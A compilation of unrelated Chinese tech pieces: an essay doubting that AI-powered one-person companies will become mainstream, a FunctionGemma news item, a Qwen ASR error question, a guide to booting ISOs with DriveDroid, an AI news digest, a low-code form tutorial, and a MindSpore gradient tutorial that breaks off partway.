当 ChatGPT、AI 设计工具、智能数据分析系统等技术工具逐渐普及,创业领域正迎来一场前所未有的效率革命。「一台电脑 + AI 工具 = 一家公司」 的口号在创投圈流传,北京中关村 AI 北纬社区等创业孵化地也涌现出不少单人创业案例。一时间,「一人公司(OPC,One-Person Company)」似乎成为打破传统创业高门槛的新范式,让无数怀揣创业梦想的人看到了低成本启动项目的可能。

而近期爆火的 Clawdbot(现已更名为 Moltrbot),更被视作 2026 年革新生产力的开源个人助理。这款 AI 智能体以「长了手的顶尖 LLM」爆红硅谷,发布仅 3 日,GitHub stars 即狂飙至 57.5k。它打破传统 AI「只说不做」的局限,可通过多渠道实时响应指令,在本地设备上完成安装软件、整理文件、生成内容等实操任务。作为 7×24 小时待命的「全栈式数字分身」,它将团队级流程压缩为单人可承接的轻量化操作,精准契合「一人公司」降本提速需求,为「一台电脑+AI = 一家公司」提供了扎实技术支撑。

更值得关注的是,这一创业新形态已获得政策层面的积极回应。早在 2016 年,《国务院关于促进创业投资持续健康发展的若干意见》就明确提出,鼓励具有资本实力和管理经验的个人通过依法设立一人公司从事创业投资活动。进入 2025 年末至 2026 年初,上海、江苏、深圳等多地更是密集出台政策,探索 「单人 + AI」 创业模式:深圳发布专项行动计划,从办公空间、人才补贴、创业资助到算力支持,提供全周期政策保障。政策红利的持续释放,为 「一人公司」 的发展注入了强劲动力。

国务院关于促进创业投资持续健康发展的若干意见

但看似前景大好的热潮之下,理性的审视也必不可少。在 AI Agent 技术尚未成熟的当下,「一人公司」 真的能取代团队协作,成为未来创业的主流趋势吗?

笔者认为答案是否定的。AI 确实降低了创业的执行门槛,政策也为其提供了成长土壤,却无法消解商业本质中的核心挑战;单人创业模式虽有其独特价值,却难以承载规模化、系统化的商业需求。

AI + 政策双重赋能:单人创业的 「低门槛革命」

过去,创业往往意味着 「组队、融资、囤资源」 的复杂流程。组建核心团队需要耗费大量时间筛选磨合,筹备启动资金可能面临借贷压力或股权稀释,对接供应链、渠道等资源更是难上加难。高门槛之下,许多优质创意被埋没,不少创业者在起步阶段就遭遇挫折。

而 AI 技术的爆发与政策的精准扶持,共同打破了这种困境,让「单人启动项目」从理想变为现实。

从技术赋能来看,AI 工具的全面覆盖让个体能够承接过去小团队的工作,内容生产端,AI 文案、设计、剪辑工具可批量产出宣传素材,无需专业技能即可完成品牌推广;业务执行端,智能客服 7x24 小时响应咨询,数据分析工具快速处理市场数据,替代了部分专员职能;产品开发端,AI 代码助手、原型工具降低了技术门槛,使得非技术背景创业者也能推进项目落地。

政策层面的支持则进一步降低了单人创业的成本与风险。以中国深圳为例,其推出的 OPC 创业生态行动计划明确,入驻 OPC 社区的创业者可享受低成本办公空间、最高 10 万元入户补贴、租金 60% 的过渡性住房,以及最高 60 万元个人创业担保贷款、1,000 万元 「训力券」 等多重支持;江苏在 「人工智能+」 行动方案中明确支持人工智能 「一人公司」 创新创业;上海浦东新区则聚焦特定赛道,开展针对性职业技能培训,助力一人公司模式落地。

这些政策精准对接了单人创业的核心需求,从资金、空间、技术到人才培养全方位赋能,让 「低成本、低风险」 创业成为可能。

深圳市工信局《深圳市打造人工智能OPC创业生态引领地行动计划(2026—2027年)》

更重要的是,「一人公司」 填补了打工与大规模创业之间的空白,成为政策鼓励的 「中间创业层级」,个体无需融资、无需管理团队,就能实现 「小而美」 的商业闭环。

根据 Carta 2025 年的最新数据,已有超过三分之一的新公司由单人创始人创办。并且从 2019 年的 23.7% 到 2025 年上半年的 36.3% ,独立创始人创立公司的比例在六年间增长了 53% 。

2019-2025 年一人公司的占比趋势 ,图片来源:solofounders.com

一人公司的概念似乎正在重塑着创业的定义。

现实桎梏:「一人公司」 难成主流的三大核心瓶颈

尽管 「单人 + AI + 政策」 创业模式亮点纷呈,但这并不意味着它能完全取代团队协作,成为未来创业的主流形态。深入其商业本质不难发现,当前 AI 技术的能力边界、个体精力的局限性以及商业规模化的内在需求,依旧是「一人公司」模式下难以逾越的三座大山,即便是政策扶持也无法从根本上消解。

首先,AI 的能力边界决定了其无法替代团队协作的核心价值。当前的 AI 工具本质上是 「高效执行者」,而非 「战略决策者」,更难以替代人际协作中的深度互动与创造性输出——可生成逻辑文案却缺品牌调性与情感共鸣,能提供数据建议却难碰撞颠覆性创意,可处理标准化咨询却无法精准应对复杂场景的个性化需求与共情沟通。

其次,个体精力的局限性与业务扩张的矛盾,让 「一人公司」 难以形成可持续的商业模式。冷启动阶段,AI 分担重复劳动、政策补贴缓解成本,个体尚能兼顾多环节;但业务增长后,订单激增、需求多样、流程复杂,个体精力上限凸显,一人需兼顾对接、修改、售后等事务。根据 Winsavvy 创业数据显示:有 2–3 人团队的创业成功概率比单人高约 163%,并且更容易获得资本与规模支持。

Winsavvy 统计影响创业公司成败的因素,来源:winsavvy

这种困境本质是个体难破 「多线程工作」 瓶颈:人类注意力有限,频繁切换职能会降低效率,使创业者被琐事占据,无力聚焦产品迭代、市场拓展等核心问题。且业务扩张后,供应链管理、财务合规等专业环节需求凸显,其专业性强、容错率低,仅靠个体与 AI 难以应对,核心专业缺口仍需团队协作填补。

最后,从商业本质来看,主流创业趋势需要具备规模复制性,而 「一人公司」 的模式天然缺乏这种属性。传统企业的演进逻辑,始终是朝着分工细化、系统化运营的方向发展 —— 从单一产品到多元业务矩阵,从几人团队到多层级组织架构,正是这种规模化、系统化的能力,让企业能够抵御市场风险,实现长期发展。

而 「单人 + AI」 模式受限于个体精力与能力边界,很难实现大规模复制。即使是成功的单人创业案例,大多也局限于小众细分赛道,服务特定人群,难以覆盖更广泛的市场需求。在 2024 年的创业统计中,只有约 17% 的风险投资投给单人创业公司,团队结构仍显著更受 VC 认可。「一人公司」 作为孤立的商业节点,很难融入复杂的商业生态,更难以形成可持续的价值创造闭环。从现有政策文本与导向来看,政策扶持更倾向于培育创业生态,而非让 「一人公司」 停留在小规模生存状态,这也从侧面说明,规模化发展仍需依托团队模式。

写在最后:「AI + 小团队」政策加持下的创业 「最优解」

尽管「一人公司」难成主流,但 AI 技术与政策支持正催生更高效的「AI+小团队」新模式——既吸纳 AI 效率优势与政策红利,又保留团队协作核心价值,成为平衡创业门槛与发展潜力的最优解,渐成未来创业主流。

其核心逻辑是「人机协同、人尽其才」:AI 承接重复劳动与数据处理,3-5 人精悍团队聚焦核心环节,效率堪比传统 20 人团队,且能享受各地算力补贴、场景开放等政策支持。一篇题为「Intuition to Evidence: Measuring AI’s True Impact on Developer Productivity」的研究论文揭示:AI 平台显著提高生产力,包括将拉取请求(PR)审查周期时间整体缩短了31.8%。使用率最高的开发人员将推送到生产环境的代码量增加了 61%,代码交付量整体增加了28%。

PR 审核时间分析示意图

这一模式重构了创业「最小可行单元」:无需完整团队覆盖全职能,AI 替代非核心工作,小团队聚焦核心岗位,降低成本且决策灵活。但它并非简单减员,而是要求成员「一专多能」、高效协同,创业门槛从「资金资源」转向「核心能力与协同效率」。

未来,AI Agent 技术成熟与政策深化将进一步拓展人机协同边界,AI 可承接更复杂工作,专项补贴、人才支持等政策也将助力小团队成长。但团队协作的创意碰撞、风险共担、资源整合等核心价值,仍是 AI 无法替代的规模化发展支撑。

AI 技术正在重构创业生态,政策支持正在培育创业土壤,但它们从未改变商业的本质。无论是 「一人公司」 的补充价值,还是 「AI + 小团队」 的主流趋势,创业的核心始终是为市场创造价值。在技术红利、政策支持与市场竞争并存的时代,唯有把握人机协同的核心逻辑,平衡效率与创新、灵活与规模的关系,才能在创业赛道上站稳脚跟,实现从 0 到 1 的突破与成长。

参考资料:\
1.https://www.gov.cn/zhengce/content/2016-09/20/content%5F51099...\
2.https://www.sz.gov.cn/cn/xxgk/zfxxgj/tzgg/content/post_126026...\
3.https://medium.com/@gemQueenx/clawdbot-ai-the-revolutionary-o...\
4.https://arxiv.org/abs/2509.19708

Google 正式发布了 FunctionGemma,这是其 Gemma 3 270M 模型的一个全新轻量化版本。该模型经过专门微调,能够将自然语言指令精准转化为结构化的函数和 API 调用,从而让 AI 代理超越“空谈”,具备真正的执行力。

在 Gemma 3 270M 发布数月后,为了响应开发者日益增长的需求,Google 赋予了该模型原生的函数调用(Function Calling)能力,使其进化为 FunctionGemma。

本地化运行赋予了该模型双重身份:它既可以作为一个独立的代理,处理私密且离线的任务;也可以充当“智能流量调度员”,将更复杂的请求路由至更大规模的远程模型。

这一特性在端侧(On-device)应用中尤为引人注目。AI Agent 可以借此实现从设置提醒到切换系统设置等一系列复杂的多步工作流自动化。为了在边缘计算场景中实现这一目标,模型必须足够轻量以支持本地运行,同时又必须具备极高的专业化程度以保证可靠性。

Google 解释称,FunctionGemma 的初衷并非用于零样本提示(Zero-shot prompting),而是旨在让开发者进行深度定制,从而构建出快速、私密且能将自然语言转化为可执行 API 操作的端侧代理。这种方法是模型达到生产级性能的关键。

在 Google 的“移动操作(Mobile Actions)”测试评估中,微调技术显著提升了模型的可靠性,将其准确率从 58% 的基准线大幅拉升至 85%。

在硬件适配方面,该模型专为手机和 NVIDIA Jetson Nano 等资源受限的设备设计。它利用 Gemma 家族的 256k 词表,能够高效地对 JSON 数据和多语言输入进行分词处理。

FunctionGemma 支持 Google 所称的“统一行动与对话”模式。这意味着模型既能生成用于调用工具的结构化代码或函数,又能无缝切换回自然语言,向用户解释执行结果。

Google 同时指出,FunctionGemma 拥有广泛的生态系统支持。开发者可以使用 Hugging Face Transformers、Unsloth、Keras 或 NVIDIA NeMo 等框架进行微调,并通过 LiteRT-LM、vLLM、MLX、Llama.cpp、Ollama、Vertex AI 或 LM Studio 等平台进行部署。

针对开发者,Google 明确列出了 FunctionGemma 的最佳适用场景,包括:拥有明确的 API 接口、愿意进行模型微调、优先考虑本地化部署,或正在构建结合端侧与远程任务的复杂系统。

为了展示模型的实战能力,Google 发布了多个演示项目,包括 Mobile Actions、TinyGarden 和 Physics Playground。这些演示均可通过 Play 商店中的 Google AI Edge Gallery 应用进行体验:

Mobile Actions:解析诸如“为明天的午餐创建一个日历行程”、“将 John 添加到联系人”或“打开手电筒”等自然语言指令,并将其映射到相应的操作系统级工具调用。

TinyGarden:一款语音控制游戏。玩家给出“在顶排种下向日葵并浇水”等指令,模型会将其分解为带有坐标目标的 plantCrop 和 waterCrop 等具体函数调用。

Physics Playground:一个交互式物理益智演示。它使用自然语言指令控制游戏内的模拟动作,并利用 Transformer.js 展示了客户端 JavaScript 的集成能力。

目前,FunctionGemma 已在 Hugging Face 和 Kaggle 上线。此外,Google 还提供了 Colab 笔记本和 mobile-actions 数据集,以帮助开发者更轻松地对模型进行专业化训练。

原文链接

https://www.infoq.com/news/2026/01/functiongemma-edge-function-call/

看了 https://modelscope.cn/models/Qwen/Qwen3-ASR-0.6B 这个教程, 运行下面的命令报错了

qwen-asr-demo \
  --asr-checkpoint Qwen/Qwen3-ASR-1.7B \
  --aligner-checkpoint Qwen/Qwen3-ForcedAligner-0.6B \
  --backend vllm \
  --cuda-visible-devices 0 \
  --backend-kwargs '{"gpu_memory_utilization":0.7,"max_inference_batch_size":8,"max_new_tokens":2048}' \
  --aligner-kwargs '{"device_map":"cuda:0","dtype":"bfloat16"}' \
  --ip 0.0.0.0 --port 8000

报错如下:

    config_dict, kwargs = cls._get_config_dict(pretrained_model_name_or_path, **kwargs)
                          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/pon/.local/share/virtualenvs/modelscope_example-DACykz4b/lib/python3.11/site-packages/transformers/configuration_utils.py", line 721, in _get_config_dict
    resolved_config_file = cached_file(
                           ^^^^^^^^^^^^
  File "/home/pon/.local/share/virtualenvs/modelscope_example-DACykz4b/lib/python3.11/site-packages/transformers/utils/hub.py", line 322, in cached_file
    file = cached_files(path_or_repo_id=path_or_repo_id, filenames=[filename], **kwargs)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/pon/.local/share/virtualenvs/modelscope_example-DACykz4b/lib/python3.11/site-packages/transformers/utils/hub.py", line 553, in cached_files
    raise OSError(
OSError: We couldn't connect to 'https://huggingface.co' to load the files, and couldn't find them in the cached files.
Check your internet connection or see how to run the library in offline mode at 'https://huggingface.co/docs/transformers/installation#offline-mode'.

所以怎么办?

编注:本文为少数派 12 月主题征稿活动「可惜!那些好用但停更了的 App」主题入选投稿之一,我们将在日后开展更多不同领域和话题的征稿活动,敬请留意。


前言

作为一个将 Arch Linux 作为主力系统使用多年的人,虽然我曾经说过它没有多数人刻板印象中的那么不稳定,但我也不敢百分百保证我的 Arch Linux 系统每次更新都不会滚挂。不过好在我遇到的大部分严重到无法开机的所谓「滚挂」的情况其实都是 GRUB 更新时出问题导致系统引导损坏,要进行修复,只需制作一个 Arch Linux 安装 U 盘,用这个启动盘启动电脑并修复 GRUB 即可。但问题是有时候我并没有随身携带 U 盘,那么这时候 DriveDroid 就会派上用场了。

关于 DriveDroid

DriveDroid 的功能十分简单也十分小众,就是把 Android 手机变成 USB 启动盘,太过于小众以至于停更多年我仍然没有找到合适的替代品。关于 DriveDroid 是何时停更的已经很难考证了,因为我写这篇文章的时候已经在 Play 商店找不到它了,它还有一个付费版本,但也已经无法付费,甚至它官网上的下载链接都失效了。

我在 APKMirror 上面找到的下载链接最后更新于 2018 年 11 月,所以 DriveDroid 已经停更了至少 7 年了。尽管 DriveDroid 版本已经非常老旧,但在我安装了最新版 Android 16 的 Nothing Phone (3a) 上似乎还能正常工作,不过据说在某些型号的的手机上 DriveDroid 已经不能正常用了,如果发现 DriveDroid 在你的手机上不能使用,可以尝试安装 DriveDroid-fix-Magisk-module 这个 Magisk 模块,能够修复 DriveDroid 不能在新版 Android 设备上正常工作的问题。

首次打开

DriveDroid 需要 ROOT 权限才能正常工作,并且因为不同型号和系统的设备对于 USB 传输的处理方式不同,所以在第一次打开 DriveDroid 时需要运行一个设置向导来检测 APP 是否能正常工作。

首先需要授予 ROOT 授权,并设置一个文件夹用来存储系统镜像,记住这个文件夹路径,后面会用到。

接着需要使用数据线连接手机和电脑,点击 NEXT 后选择 USB System,用来适配不同的设备,我这里只有一个 Standard Android 可选,如果有多个可选,尽量选择第一个,如果不能用,就依次往后尝试。

再次点击 NEXT 后 DriveDroid 会尝试启动,此时需要在电脑上检查是否出现了一个新的 USB 设备或是 CD-ROM 设备,如果出现了,就说明 DriveDroid 能够正常工作,在 Windows 上,USB 设备可能不会在文件管理器中出现,但是系统会有新设备插入的提示音,这种应该也算是正常工作。如果正常工作就选择「Android shows up in OS」并点击 NEXT,如果没有新设备出现,就回到上一个页面尝试不同的 USB System,如果都不行,那就可能是设备不兼容,可以尝试安装前文提到的 Magisk 模块。

之后不要断开数据线连接,重启电脑进入 BIOS,会发现有一个新的启动项可用,确认关闭了安全启动,并选择这个启动项启动电脑,如果电脑能够成功启动并显示「DriveDroid booted succesfully」,就说明一切配置完成了。

功能限制

在配置完成后的 Summary 界面,可以看到一行「The device cannot act as CD-ROM device」,说明当前设备不能模拟 CD-ROM 设备,只能够模拟 U 盘。这对于大部分 Linux 发行版的 ISO 文件来说不成问题,因为这些 ISO 文件既可以直接作为 CD 盘使用,也可以模拟成 U 盘使用,但是一部分系统 ISO(比如 Windows)只能作为 CD 盘使用,就不能使用 DriveDroid 启动。

对于这个问题有两个解决方案:一个是为手机安装定制的内核或 ROM 使手机获得模拟 CD-ROM 的能力,这个方案比较复杂且不一定适用于所有手机;另一个是将不支持的 ISO 文件转换为支持的格式,这会在后文中提到。

直接启动 ISO 文件

以 Arch Linux 为例,我可以从国内镜像站下载最新版本的 ISO 文件,将文件放入之前配置好的用来存储系统镜像的文件夹。在 DriveDroid 主界面下拉刷新,会发现除了之前运行设置向导时创建的测试镜像,也出现了刚刚下载的 Arch Linux 镜像。

点击 Arch Linux 镜像,会弹出三个选项,分别是只读 USB、可读写的 USB 以及 CD-ROM,因为我的设备不支持模拟 CD-ROM,且系统镜像不需要读写,所以我选择只读 USB,当 Arch Linux 镜像旁边出现了一个带锁的 USB 图标,就说明 DriveDroid 正在把 Arch Linux 模拟为只读 USB 启动盘。

使用数据线连接手机和电脑,重启电脑,选择新出现的启动项启动电脑,如果手机的接口是 USB 2.0 协议的,启动可能会稍慢些,耐心等待一小会,就可以进入 Arch Linux 的安装环境了。

转换 ISO 文件

对于 Windows ISO 这样不支持的文件,除了为手机安装定制的内核或 ROM,另一个方法是转换 ISO 文件,其实思路很简单,创建一个空白的 img 文件并用 DriveDroid 模拟成可读写的 USB 设备,连接到电脑后在电脑上用写盘软件把系统镜像写入进去,和正常制作启动 U 盘差不多。为了方便起见下面的演示我依然用的 Arch Linux 的 ISO 文件,对于 Windows ISO 步骤是一样的,只是要注意按需更改文件大小。

首先在 DriveDroid 主界面点击右下角加号,选择「Create blank image」。

为镜像文件命名,因为只有付费版 DriveDroid 才能重新调整 img 文件大小,所以这里的文件大小需要一步到位,要不小于镜像文件的大小,但也不要太大占用多余的存储空间,因为 Arch Linux ISO 文件大小约为 1.4G,为了保险,我将空白文件大小设为了 2G,文件系统选择 None 不指定,因为后面写盘软件会对其格式化,配置完毕点击右上角完成。

在主界面点击刚刚创建的空白 img 文件,选择模拟成可读写 USB,当旁边出现一个不带锁的 USB 图标,就说明 DriveDroid 正在把空白 img 文件模拟为可读写 U 盘。

使用数据线连接手机和电脑,在电脑上使用写盘软件(我这里用的是 Raspberry Pi Imager)把系统 ISO 镜像写入到模拟的 USB 设备上。

之后就可以按照上一节的步骤将创建的 img 镜像模拟为 USB 启动盘了。

使用同样的方法,理论上也可以将空白 img 文件写入成 Ventoy 启动盘来启动任意系统镜像,或是将其格式化成 U 盘用来存储资料,我没有试过,不过这样的话仍需要将其连接到电脑上才能进行读写,在手机上不能直接读写,感觉意义不大。

总结

DriveDroid 是一个功能十分小众的应用,也许平时用不到,但如果遇到特殊情况是真的能够救急的,在手机中常备这个软件还是挺有必要的。

相关阅读:Matrix 圆桌 | 可惜!聊聊那些好用但停更的 App

> 关注 少数派公众号,解锁全新阅读体验 📰

> 实用、好用的 正版软件,少数派为你呈现 🚀

    关键词:Clawdbot 更名 Moltbot;

    Giants

    马斯克停产 Model S/X 冲刺机器人量产;腾讯元宝派正式杀入 AI 社交赛道

    Meta 裁员千人,战略重心从 VR 转向 AI 与智能眼镜

    Meta 上周裁减了 Reality Labs 部门 10%的员工,涉及岗位接近 1000 个,其中大量集中在 VR 相关项目,包括 Quest VR 头显以及虚拟社交平台 Horizon Worlds。自 2020 年底以来,Meta 旗下的 Reality Labs 部门累计亏损已超过 700 亿美元。Meta 公司发言人表示,公司正在重新分配 Reality Labs 的资源,将更多投入放在 AI 和可穿戴设备上,例如与依视路陆逊梯卡联合推出的 Ray-Ban 智能眼镜产品线。这一调整标志着 Meta 战略重心从元宇宙向 AI 的转移,VR 行业可能正在进入一段"寒冬期"。

    马斯克冲刺机器人量产,停产 Model S/X 为擎天柱让路

    在最新财报电话会议上,马斯克宣布特斯拉将在 2026 年第二季度停产豪华车型 Model S 和 Model X,目的是给特斯拉机器人擎天柱(Optimus)让出生产线。马斯克透露,在把特斯拉加州弗里蒙特工厂的 Model S/X 生产线改造成擎天柱生产线后,其机器人的产量将达到每年一百万台。特斯拉 2026 年资本支出将"规模空前",超过 200 亿美元,是 2025 年 85 亿美元的 2 倍多。此外,特斯拉已在 2026 年 1 月 16 日签署协议,将在 xAI 最新一轮融资中向其投资 20 亿美元。

    蚂蚁具身智能明牌:做大脑,与宇树错位竞争

    蚂蚁集团正式公布其具身智能战略:不做机器人本体,而是专注于打造"大脑"系统。蚂蚁灵波团队负责人表示,公司选择与宇树科技等机器人硬件厂商错位竞争,专注于开发能够控制多种机器人平台的智能系统。这一战略定位意味着蚂蚁将避开硬件制造的激烈竞争,转而提供跨平台的 AI 解决方案,为不同机器人厂商提供统一的智能控制层。

    腾讯元宝派正式杀入 AI 社交赛道

    2026 年,腾讯正式推出基于 AI 的社交产品"元宝派",标志着这家社交巨头正式进入 AI 社交领域。元宝派结合了腾讯在社交网络和 AI 技术方面的双重优势,旨在通过 AI 增强用户的社交体验。该产品能够智能匹配用户兴趣、生成个性化内容,并提供 AI 辅助的社交互动功能,代表了社交网络向智能化方向发展的新趋势。

    Models & Applications

    DeepSeek-OCR 2 开源;Clawdbot 爆火更名 Moltbot;Kimi K2.5 开源炸场

    DeepSeek-OCR 2 开源,实现视觉编码范式**转变

    DeepSeek 发布 DeepSeek-OCR 2,通过引入 DeepEncoder V2 架构,实现了视觉编码从"固定扫描"向"语义推理"的范式转变。该模型将原本基于 CLIP 的编码器替换为轻量级语言模型(Qwen2-500M),并引入了具有因果注意力机制的"因果流查询"。这种设计打破了传统模型必须按从左到右、从上到下的栅格顺序处理图像的限制,赋予了编码器根据图像语义动态重排视觉 Token 的能力。在 OmniDocBench v1.5 评测中,其综合得分达到 91.09%,较前代提升了 3.73%。模型仅需 256 到 1120 个视觉 Token 即可覆盖复杂的文档页面,显著降低了下游 LLM 的计算开销。

    *Clawdbot 爆火后被强制更名 Moltbot,*Mac mini 销量激增

    开源 AI 助手 Clawdbot(现更名为 Moltbot)近期爆火,带火了 Mac mini 销量,有用户甚至一次性购买 40 台 Mac mini 来运行该应用。Clawdbot 是一个可以在本地运行的开源 AI 助手,能够直接住进常用聊天软件如 WhatsApp、Telegram、iMessage、Slack、Discord 中,具备持久记忆、主动行为、可扩展技能以及自托管可控性。然而,由于名称与 Claude 相似,Anthropic 公司强制要求其更名。开发者 Peter Steinberger 最终将其更名为 Moltbot,取自龙虾的蜕壳行为。该应用 GitHub 上的 Star 量已经超过 72.2k,被称为"开源贾维斯",能够完成整理邮件、管理日程、读 PPT、写代码、发推文等各种任务。

    图片

    Kimi K2.5 正式发布并开源,推新 Agent 集群与编程工具

    月之暗面正式发布并开源其新一代大模型 K2.5。该模型被宣称为迄今最智能和全能的开源模型,在 Agent、代码、图像及视频理解等多类基准测试中达到先进水平。K2.5 的核心突破在于首次引入“Agent 集群”能力,可自主创建多达 100 个“分身”组成团队,并行处理复杂任务,效率提升最高达 4.5 倍。同时,其强大的多模态能力显著降低了使用门槛,用户可通过拍照、截图或录屏与 AI 交互,甚至直接生成前端代码。同期,专为开发者打造的编程工具“Kimi Code”正式发布。

    Qwen3 超大杯推理版正式上线,刷新全球 SOTA

    阿里千问发布 Qwen3-Max-Thinking 正式版,在涵盖科学知识、数学推理、代码编程的 19 项权威基准测试中,赶上甚至超越 GPT-5.2-Thinking、Claude-Opus-4.5 和 Gemini 3 Pro 等 TOP 闭源模型。该模型总参数超万亿(1T),预训练数据量高达 36T Tokens,通过引入自适应工具调用和测试时扩展两项技术创新,显著提升了推理性能和调用工具的原生 Agent 能力。在启用工具的"人类最后的测试"HLE 中,Qwen3-Max-Thinking 得分 58.3,超过 GPT-5.2-Thinking 的 45.5,以及 Gemini 3 Pro 的 45.8,刷新 SOTA。千问 APP PC 端和网页端已上新这一 Qwen 系列最强模型,API 也已开放。

    百川 M3 Plus 首创"证据锚定",医疗 AI 幻觉率降至 2.6%

    百川智能发布医疗大模型 Baichuan M3 Plus,首创"证据锚定"技术,将医疗 AI 的幻觉率降至 2.6%,刷新全球纪录。该技术通过将模型输出严格锚定在医学证据和权威指南上,确保生成的医疗建议具有可靠的科学依据。M3 Plus 在多个医疗专业评测中表现优异,特别是在诊断准确性和治疗建议的可靠性方面显著超越同类产品。这一突破为 AI 在严肃医疗场景中的应用扫清了关键障碍。

    蚂蚁开源比肩 Genie 3 的世界模型 LingBot-VLA

    蚂蚁灵波开源具身智能基座模型 LingBot-VLA,采用了 20000 小时真实机器人数据,是目前开源的最大规模真实机器人数据之一。该模型在权威评测中全面超越了此前公认最强 Physical Intelligence 的π0.5,以及英伟达 GR00T N1.6 等国际顶尖模型。LingBot-VLA 采用专家混合 Transformer 架构,包含大脑(视觉语言模型)和小脑(动作专家模块)协同工作的系统,通过共享的自注意力机制进行深度耦合。模型展示了强大的跨本体泛化能力,在 9 种机器人数据上预训练后,在 3 种未见过的机器人平台上依然表现优异。

    3D 领域的 NanoBanana HYPER3D 发布,万物皆可用嘴操控

    3D 领域的 NanoBanana HYPER3D 正式发布,这是一个能够通过自然语言指令操控 3D 场景的 AI 系统。用户可以通过语音或文本描述来创建、编辑和控制 3D 对象,实现"万物皆可用嘴操控"的交互体验。该系统结合了 3D 生成、物理模拟和自然语言理解技术,能够理解复杂的空间关系和物理约束,为 3D 内容创作和虚拟环境交互提供了革命性的工具。

    图片

    全球AI政策与市场简讯

    魔法原子冲击 IPO*,将登央视春晚展示具身智能*

    江苏具身智能新贵魔法原子(Magic Atom)联合创始人披露,公司计划在今年冲击 IPO,并将登上央视春晚展示其最新具身智能技术。该公司专注于开发面向消费级市场的具身智能产品,已获得多轮融资。魔法原子的技术特点是能够实现低成本、高可靠性的机器人控制,目标是将具身智能技术带入普通家庭。

    LeCun 创业公司**估值 35 亿美元,官宣世界模型核心方向

    图灵奖得主 Yann LeCun 离开 Meta 后创立的 AMI Labs(Advanced Machine Intelligence)本周确认核心方向:开发世界模型(world models),以此构建能够理解现实世界的智能系统。公司估值达 35 亿美元,正在洽谈新一轮融资。LeCun 长期以来对现有大语言模型持怀疑态度,认为仅靠预测下一个 token 的生成式模型无法真正理解现实世界。他提出的世界模型应同时具备四项关键能力:理解真实世界、拥有持久记忆、能够进行推理与规划、可控且安全。AMI Labs 将专注于工业流程控制、自动化系统、可穿戴设备、机器人与医疗健康等高可靠性要求领域。

    以上所有信息源自网络

    THE END

    关于 GMI Cloud

    由 Google X 的 AI 专家与硅谷精英共同参与创立的 GMI Cloud 是一家领先的 AI Native Cloud 服务商,是全球七大 Reference Platform NVIDIA Cloud Partner 之一,拥有遍布全球的数据中心,为企业 AI 应用提供最新、最优的 GPU 云服务,为全球新创公司、研究机构和大型企业提供稳定安全、高效经济的 AI 云服务解决方案。

    GMI Cloud 凭借高稳定性的技术架构、强大的GPU供应链以及令人瞩目的 GPU 产品阵容(如能够精准平衡 AI 成本与效率的 H200、具有卓越性能的 GB200、GB300 以及未来所有全新上线的高性能芯片),确保企业客户在高度数据安全与计算效能的基础上,高效低本地完成 AI 落地。此外,通过自研“Cluster Engine”、“Inference Engine”两大平台,完成从算力原子化供给到业务级智算服务的全栈跃迁,全力构建下一代智能算力基座。

    作为推动通用人工智能(AGI)未来发展的重要力量,GMI Cloud 持续在 AI 基础设施领域引领创新。选择 GMI Cloud,您不仅是选择了先进的 GPU 云服务,更是选择了一个全方位的 AI 基础设施合作伙伴。

    如果您想要了解有关 GMI Cloud 的信息

    请关注我们并建立联系

    在低代码开发中,表单数据回显是实现数据预填充的核心功能。它能让用户在使用表单时快速获取并展示相关数据。
    在JVS低代码平台主要有以下4种设置方式:默认值公式,数据联动,回显设置以及默认修改详情表单回显。
    注意表单数据回显的优先级:公式>联动>回显>默认

    表单数据回显

    公式回显
    在表单设计中,设置组件默认值通过配置公式获取,如下图所示
    图片
    数据联动
    根据其它组件的数据值作为查询条件,在其它数据模型中进行搜索,关联查询出某个字段的值,显示在当前组件
    如下图所示:
    1、在表单中单行文本组件,配置关联模型
    图片
    2、配置单价根据产品名称联动回显
    图片

    图片
    回显设置
    配置业务逻辑用于表单第一次打开时直接回显相关业务数据。,配置入口如下图所示
    图片
    表单默认回显
    列表页中默认行内按钮打开有修改和详情表单,这两个表单打开会默认回显列表页行数据。
    图片
    在线demo:https://app.bctools.cn
    基础框架开源地址:https://gitee.com/software-minister/jvs

    本文将讲解 MindSpore 中两个高频核心知识点:

    • Stop Gradient 梯度截断:屏蔽指定张量的梯度回传,消除无关张量对梯度计算的影响;
    • has_aux 辅助数据参数:自动处理多输出函数的梯度计算,无需手动截断梯度;
    • 这两个知识点是解决复杂场景梯度计算的核心。

    问题引入:多输出函数的梯度计算陷阱

    默认情况下,如果前向函数只返回 loss 一个值,mindspore.grad 只会计算「loss 对指定参数的梯度」,这也是我们训练模型的核心诉求。

    但如果前向函数返回多个输出项(如 loss + logits 预测值),MindSpore 的微分函数会默认计算:所有输出项对指定参数的梯度之和,这会导致最终的梯度值失真,与我们需要的「仅 loss 求梯度」的结果不一致!

    实战验证:多输出函数的梯度失真问题

    # 定义返回 loss + z(预测值) 的多输出函数
    def function_with_logits(x, y, w, b):
        z = ops.matmul(x, w) + b
        loss = ops.binary_cross_entropy_with_logits(z, y, ops.ones_like(z), ops.ones_like(z))
        return loss, z  # 输出项1:loss,输出项2:预测值z
    
    # 生成微分函数,依旧对w(2)、b(3)求导
    grad_fn = mindspore.grad(function_with_logits, (2, 3))
    grads = grad_fn(x, y, w, b)
    print("多输出函数的梯度值:\n", grads)

    运行结果:

    多输出函数的梯度值:
    (Tensor(shape=[5, 3], dtype=Float32, value=
    [[ 1.32618928e+00, 1.01589143e+00, 1.04216456e+00],
    [ 1.32618928e+00, 1.01589143e+00, 1.04216456e+00],
    [ 1.32618928e+00, 1.01589143e+00, 1.04216456e+00],
    [ 1.32618928e+00, 1.01589143e+00, 1.04216456e+00],
    [ 1.32618928e+00, 1.01589143e+00, 1.04216456e+00]]), Tensor(shape=[3], dtype=Float32, value= [ 1.32618928e+00, 1.01589143e+00, 1.04216456e+00]))

    结果对比:

    • 单输出函数(仅 loss):w 的梯度值约为 0.326、0.0159、0.0422;
    • 多输出函数(loss+z):w 的梯度值约为 1.326、1.0159、1.0422;
    • 梯度值完全不同,这就是「多输出项梯度叠加」导致的失真,这不是我们想要的结果!

    解决方案一:Stop Gradient 手动梯度截断【核心 API】

    Stop Gradient 核心作用

    • MindSpore 提供 mindspore.ops.stop_gradient 接口,是梯度计算中的「截断利器」,核心功能有 3 个:
    • 对指定 Tensor 进行梯度截断,消除该 Tensor 对梯度计算的所有影响;
